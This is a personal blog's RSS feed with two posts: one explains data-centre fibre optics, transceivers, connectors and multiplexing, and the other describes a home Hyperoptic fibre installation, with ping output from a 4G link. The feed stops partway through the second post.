<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>George Honeywood's blog</title><link>https://george.honeywood.org.uk/</link><description>Recent content on George Honeywood's blog</description><generator>Hugo -- gohugo.io</generator><language>en-gb</language><copyright>content: &lt;a href='https://creativecommons.org/licenses/by-nc-sa/4.0/'&gt;CC BY-NC-SA 4.0&lt;/a&gt; &amp;mdash; theme: modified &lt;a href='https://github.com/jakewies/hugo-theme-codex'&gt;codex&lt;/a&gt;</copyright><lastBuildDate>Sun, 01 Nov 2026 20:41:29 +0000</lastBuildDate><atom:link href="https://george.honeywood.org.uk/index.xml" rel="self" type="application/rss+xml"/><item><title>It's all optics</title><link>https://george.honeywood.org.uk/blog/optics/</link><pubDate>Sun, 01 Nov 2026 20:41:29 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/optics/</guid><description>&lt;p&gt;In computer networking, if you need to send data at a rate greater than 1 gigabit/second, you&amp;rsquo;ll have to look a bit further than the ubiquitous 1000BASE-T.&lt;/p&gt;
&lt;p&gt;10GBASE‑T &amp;mdash; a 10 gigabit/second iteration of the 1000BASE-T standard &amp;mdash; does exist, but it isn&amp;rsquo;t too popular. 10GBASE‑T uses the same twisted pair cables as 1000BASE-T (CAT 6/CAT 5e), but it is more power hungry (computationally intensive), higher latency, and is more expensive than other options available.&lt;/p&gt;
&lt;p&gt;The easy option if you&amp;rsquo;re only going small distances &amp;mdash; less than 5 meters, i.e. within a single datacenter rack &amp;mdash; is to use DAC cables (direct attach copper, colloquially known as twinax). DAC cables can handle high speeds, and are usually cheaper than using optical networking.&lt;/p&gt;
&lt;p&gt;However, if you need to send data further than within a single rack, at 10 gigabit/second or faster, you&amp;rsquo;ll probably want to use optical networking. In a simple form you&amp;rsquo;ll have some setup like this:&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/optics/images/optics.drawio.svg'&gt;
&lt;picture&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/optics/images/optics.drawio.svg'
loading="lazy"
alt='Simple network setup with fibre optics'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;So in total, to connect two servers together via a switch, you&amp;rsquo;ll need four optics, and two fibre optic cables.
This is obviously a bit more complicated than using DAC cables, where you&amp;rsquo;d just need the two cables! Such is the price of extra range and flexibility. This is all Ethernet, despite the very different physical forms.&lt;/p&gt;
&lt;p&gt;In an enterprise setup, where you want redundancy, it gets rather more complicated. One method is to configure two switches in an MLAG (multi-chassis link aggregation group), then patch each server up to both of the MLAG switches. Once you&amp;rsquo;re patched up, configure link aggregation using LACP on the servers and switches:&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/optics/images/optics-mlag.drawio.svg'&gt;
&lt;picture&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/optics/images/optics-mlag.drawio.svg'
loading="lazy"
alt='Enterprise network setup with MLAG and LACP'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;The idea behind this arrangement is that you can tolerate either a switch failure, or the loss of one of the paths up to the switches &amp;mdash; in both scenarios the server will stay connected to the network. An adjacent benefit here is that you can use the bandwidth of both links in aggregate, so long as you&amp;rsquo;re using layer3+4 packet hashing and there are multiple TCP connections.&lt;/p&gt;
&lt;h2 id="nics"&gt;NICs&lt;/h2&gt;
&lt;p&gt;Servers generally do not come with networking integrated onto the motherboard like desktop PCs.
Instead, external NICs are used, either in traditional PCIe slots, or via hotswappable OCP cards (these also use PCIe transport).&lt;/p&gt;
&lt;p&gt;These allow you to configure your server based on the uplink bandwidth and amount of ports required.&lt;/p&gt;
&lt;h2 id="optics"&gt;Optics&lt;/h2&gt;
&lt;p&gt;Optics are what take the electrical signals from the NIC and serialize them into the light that will be sent over the fibre optic cable.
On the other end of the connection, the remote optic will deserialize the light back into electrical signals to be handled by the NIC.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/optics/images/1000BASE-LX-optic_hu_5d5a77406422a944.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/optics/images/1000BASE-LX-optic_hu_26ab41bd57c430e3.webp 320w, https://george.honeywood.org.uk/blog/optics/images/1000BASE-LX-optic_hu_909fb408055959ad.webp 640w, https://george.honeywood.org.uk/blog/optics/images/1000BASE-LX-optic_hu_8b486af2f448f412.webp 960w, https://george.honeywood.org.uk/blog/optics/images/1000BASE-LX-optic_hu_9455ca6a499c0082.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/optics/images/1000BASE-LX-optic_hu_309f8082cd1a9897.jpg'
width="1280"
height="960"
loading="lazy"
alt='Duplex LC connector on an SFP optic'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Duplex LC connector on an SFP optic
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Optics vary wildly in price depending on the vendor selling them, the rated bandwidth, and the type of fibre they work with.
Wikipedia has nice lists of the different standards for optics, for &lt;a href="https://en.wikipedia.org/wiki/100_Gigabit_Ethernet"
target="_blank" rel="noreferrer noopener"
&gt;40G/100G&lt;/a&gt;, and &lt;a href="https://en.wikipedia.org/wiki/Terabit_Ethernet"
target="_blank" rel="noreferrer noopener"
&gt;200G+&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="sfps-and-form-factors"&gt;SFPs and form factors&lt;/h2&gt;
&lt;p&gt;NIC ports and optics come in various physical form factors. These are standardized as different kinds of SFPs (small factor pluggables):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SFP: SFP is the smallest of the SFP form-factors. There are different specifications under this size, including SFP, SFP+, and SFP28. Usually these ports handle between 1 and 25 gigabit/s speeds.&lt;/li&gt;
&lt;li&gt;QSFP (quad-SFP): Within this size, common specifications are QSFP, QSFP+, QSFP28, QSFP56. These ports are generally used for 40+ gigabit/s speeds. Internally, a single QSFP port is made up of four SFP ports known as lanes. This means you can do funky things, like use a &amp;ldquo;breakout&amp;rdquo; cable to connect a single 100G QSFP28 port on a switch to 4x servers, each with a SFP28 port (each server uplinked at 25G).&lt;/li&gt;
&lt;li&gt;OSFP (octal-SFP): the largest physical size. This is 8x SFP lanes, used for very high bandwidth connections.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="connectors"&gt;Connectors&lt;/h2&gt;
&lt;p&gt;There are three kinds of connectors I&amp;rsquo;ve encountered:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LC: These are probably the most common connector seen in datacenters, generally in duplex (two fibre strands), where one strand is used for sending traffic (TX) and the other for receiving (RX).&lt;/li&gt;
&lt;li&gt;MPO: These contain many fibre strands (typically 8-24) in a single connector.&lt;br&gt;
One usecase of these high strand counts is trunk cabling between racks. Say you need to connect a rack with 12 servers to a different rack which has your switch in it. In this scenario, you&amp;rsquo;ve got some options:
&lt;ul&gt;
&lt;li&gt;Run 12x duplex LC terminated cables between the racks. This can get fiddly with so many cables.&lt;/li&gt;
&lt;li&gt;Run a single MPO-24 cable (24 strands) between the racks. This MPO-24 cable can then terminate into a cassette on both ends, which will change the presentation into 12x duplex LC ports. From the cassettes you can then run short patch cables to the optics in the switchports and server NICs.&lt;br&gt;
High strand counts are also handy for breakout applications. For example, if you have a MPO-8 connector on the 1x QSFP side of the breakout, you can split this out into 4x duplex LC connectors on the SFP side.&lt;/li&gt;
&lt;li&gt;You can also buy cables which bundle multiple fibres into a single physical cable, but are split out at the ends. You&amp;rsquo;d probably want to use some kind of patch panel to make the cable management easier.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SC: I&amp;rsquo;ve not seen these in the datacenter, instead commonly used for fibre-to-the-premises installs (GPON), where a single fibre strand is used (simplex).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These connectors come with different, incompatible end faces on the fibre strands. The common ones are UPC (blue connectors), and APC (green connectors).&lt;br&gt;
APC connectors have favourable light loss and light return characteristics compared to UPC, which can become more important with longer fibre runs. You need to make sure if you&amp;rsquo;ve got UPC optics, you have UPC cables!&lt;/p&gt;
&lt;p&gt;Another concern is polarity. With duplex LC connectors, you need to make sure the RX side on one optic is connected to the TX side on the other optic (and vice versa). If RX is connected to RX, you won&amp;rsquo;t get a link up! Generally you can swap the fibres round in the duplex LC connector, so it&amp;rsquo;s possible to fix at least.&lt;/p&gt;
&lt;p&gt;This polarity problem gets worse with MPO cables and their high strand counts. Cables come in different types, A, B, and C, which are used in different cabling polarity &amp;ldquo;methods&amp;rdquo;. With an MPO-8 cable, you need to make sure the 4x TX strands hit the 4x RX strands on the other optic, in the right order.&lt;/p&gt;
&lt;p&gt;Another thing to be a bit careful with MPO cables is that the different fibre strands don&amp;rsquo;t always line up when you mix MPO standards.
You can mix and match MPO-8 and MPO-12 (the inner 4 strands of the MPO-12 will be unused). However, if you try to mix MPO-12 and MPO-24, none of the strands will line up!&lt;/p&gt;
&lt;h2 id="fibre-optic-cables"&gt;Fibre optic cables&lt;/h2&gt;
&lt;p&gt;Fibre optic cables come in two main types: multimode and singlemode. If you&amp;rsquo;ve got multimode fibre, you&amp;rsquo;ll need to use multimode optics, and vice versa for singlemode.
Light in multimode fibre experiences modal dispersion, so reach is limited compared to singlemode fibre.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/optics/images/OS2-duplex-fibre-LC-connector_hu_747284bfab398a1b.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/optics/images/OS2-duplex-fibre-LC-connector_hu_66054e501c574f2.webp 320w, https://george.honeywood.org.uk/blog/optics/images/OS2-duplex-fibre-LC-connector_hu_b38e21c684225c24.webp 640w, https://george.honeywood.org.uk/blog/optics/images/OS2-duplex-fibre-LC-connector_hu_ea38766f2b26dbfd.webp 960w, https://george.honeywood.org.uk/blog/optics/images/OS2-duplex-fibre-LC-connector_hu_b9ba8546782cd39.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/optics/images/OS2-duplex-fibre-LC-connector_hu_f19a4e4c66716805.jpg'
width="1280"
height="960"
loading="lazy"
alt='OS2 (yellow) duplex singlemode fibre with UPC (blue) LC connector'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
OS2 (yellow) duplex singlemode fibre with UPC (blue) LC connector
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;OS2 is a singlemode fibre standard, colour-coded yellow. OS2 fibre is capable of reaching 40 kilometres when used with -ER optics &amp;ndash; much further than multimode!&lt;/p&gt;
&lt;p&gt;Probably the most common type of multimode fibre is OM4, which is usually colour-coded aqua. OM4 supports distances of around 100 to 150 meters.
OM5 is a revision of this standard, which can extend the reach of OM4 by around 50 meters.&lt;/p&gt;
&lt;p&gt;The economics here can be tricky. Multimode cables tend to be more expensive than singlemode cables, but singlemode optics are often more expensive than multimode optics.&lt;br&gt;
Historically multimode fibre would be used for shorter runs, e.g. within a DC cage, and singlemode used when longer distances are required. However, costs for singlemode optics have gone down, so multimode has become a bit rarer.&lt;/p&gt;
&lt;h2 id="multiplexing"&gt;Multiplexing&lt;/h2&gt;
&lt;p&gt;In their simplest form, optics send only a single wavelength of light down a fibre strand, but it is possible to send multiple wavelengths down a single strand &amp;mdash; this is known as multiplexing. This is more common with singlemode fibre than multimode.
There are a couple of different usecases here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bidirectional optics. BiDi optics both send and receive light on a single strand of fibre (simplex). Simplex fibre is handy for the residential usecase of hiding a fibre along a wall, or under doors. G.657B3 bend insensitive fibre can be less than a millimeter wide, with a minimum bend radius of circa 5mm.&lt;/li&gt;
&lt;li&gt;High bandwidth. Multiplexing is useful if you want to increase your throughput over a single strand.
Higher speed links are usually made up of multiple combined lanes of traffic, and the simplest way to transport this is to use multiple strands of fibre. For example, 100GBASE-SR4 optics use 8 strands of multimode fibre, 4 for each direction, each strand running at 25G.&lt;br&gt;
However, say you&amp;rsquo;re reusing an existing run of OS2 duplex fibre, you can use 100GBASE-LR4 optics instead, which multiplex 4x 25G wavelengths onto each directional strand.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Optics which use multiplexing tend to be more expensive than non-multiplexing ones &amp;mdash; this is why multimode optics tend to be cheaper than singlemode optics!&lt;/p&gt;
&lt;h2 id="footnote"&gt;Footnote&lt;/h2&gt;
&lt;p&gt;There are lots of things I&amp;rsquo;ve missed out or glossed over here. FEC (forward error correction) in particular is very interesting. I&amp;rsquo;d also like to cover link auto-negotiation, but I&amp;rsquo;d need to learn how that works first!
Bear in mind I&amp;rsquo;m writing from the blinkered perspective of a Linux sysadmin, rather than a network engineer or fibre tech &amp;mdash; I&amp;rsquo;ve never spliced a fibre!&lt;/p&gt;</description></item><item><title>Hyperoptic</title><link>https://george.honeywood.org.uk/blog/hyperoptic/</link><pubDate>Sun, 02 Aug 2026 20:10:21 +0100</pubDate><guid>https://george.honeywood.org.uk/blog/hyperoptic/</guid><description>&lt;p&gt;Despite being on an estate that is pretty well connected to the internet, our block was the exception.
We could get copper broadband, but it seemed like it would be so terrible to not be worth it. Openreach&amp;rsquo;s checker says it would have &amp;ldquo;Up to 1 Mbps upload&amp;rdquo;!&lt;/p&gt;
&lt;p&gt;Instead when we moved in, we decided on a 4G router from Three, which has worked well enough for the past year or so. Generally it can give about 30 Mbps download and 10 Mbps upload.
The latency is terrible though, especially in the evenings. I use Omnissa Horizon remote desktop for work, and it really can&amp;rsquo;t handle jitter on the link. This ping output makes the problems obvious enough.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@desktop:~# ping 1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PING 1.1 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;1.0.0.1&lt;span style="color:#f92672"&gt;)&lt;/span&gt; 56&lt;span style="color:#f92672"&gt;(&lt;/span&gt;84&lt;span style="color:#f92672"&gt;)&lt;/span&gt; bytes of data.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;51&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2214&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1189&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;181&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2700&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1691&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;677&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2720&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1704&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;684&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2256&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1241&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;223&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2583&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1574&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;554&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;47&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt; ms
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;ve been talking to the building management company about this for a while. It seemed at one point like Openreach might install, but eventually they emailed with &amp;ldquo;We&amp;rsquo;ve reviewed our build plans for your area and there will be a delay getting Full Fibre to [your building]&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Thankfully Hyperoptic were able to serve the building.
One thing that I found interesting is how they&amp;rsquo;ve connected up the flats.
The fibre enters the building via a riser that connects all the floors, containing utilities.
Instead of sending the fibre up through this riser, they routed it through the stairwell, around the edges of the ceiling.
I suspect this is because the riser is sealed between floors to prevent fires spreading, and breaking this seal will require some kind of recertification.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-in-riser_hu_8481e786fa7354a3.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-in-riser_hu_c04392bebeb600a4.webp 320w, https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-in-riser_hu_bd27e245e51fb77a.webp 640w, https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-in-riser_hu_1b4e2398eb06eaa9.webp 960w, https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-in-riser_hu_5a102c9bb17b289d.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-in-riser_hu_321aa5731aafabbd.jpg'
width="1280"
height="961"
loading="lazy"
alt='Black and yellow fibre cable'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Fibre from outside entering the (grimy) riser, black and yellow cable
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-distribution-point_hu_51cea70308914595.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-distribution-point_hu_a34a2b9d1465f057.webp 320w, https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-distribution-point_hu_ef6123f6fa81674b.webp 640w, https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-distribution-point_hu_907977d5b8db4eb.webp 960w, https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-distribution-point_hu_ccd565ff2fae1b33.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-distribution-point_hu_ef5dba18b62b7d90.jpg'
width="1280"
height="960"
loading="lazy"
alt='White fibre distribution box'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Fibre distribution point in the riser
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Somewhat amusingly Hyperoptic managed to schedule an internal installation appointment for before the fibre was actually outside our flat for them to connect it up! The contractor turned up and promptly left again. I&amp;rsquo;m glad I didn&amp;rsquo;t opt for the &amp;ldquo;one touch switch&amp;rdquo; option, where they would have probably already cancelled our existing connection.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-thru-wall_hu_feb7c6e9d41f4d7d.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-thru-wall_hu_aadf3d9868b6220c.webp 320w, https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-thru-wall_hu_2f3be6859e0e0ffa.webp 640w, https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-thru-wall_hu_5d3d4871bdc0167d.webp 960w, https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-thru-wall_hu_75d19cd2b1931b4f.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/hyperoptic/images/fibre-thru-wall_hu_d39ee427c21fd473.jpg'
width="1280"
height="961"
loading="lazy"
alt='Fibre entering wall to avoid door'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Fibre going through the wall around a door
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/hyperoptic/images/point-of-entry-module_hu_8323d2c3d85e3e3c.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
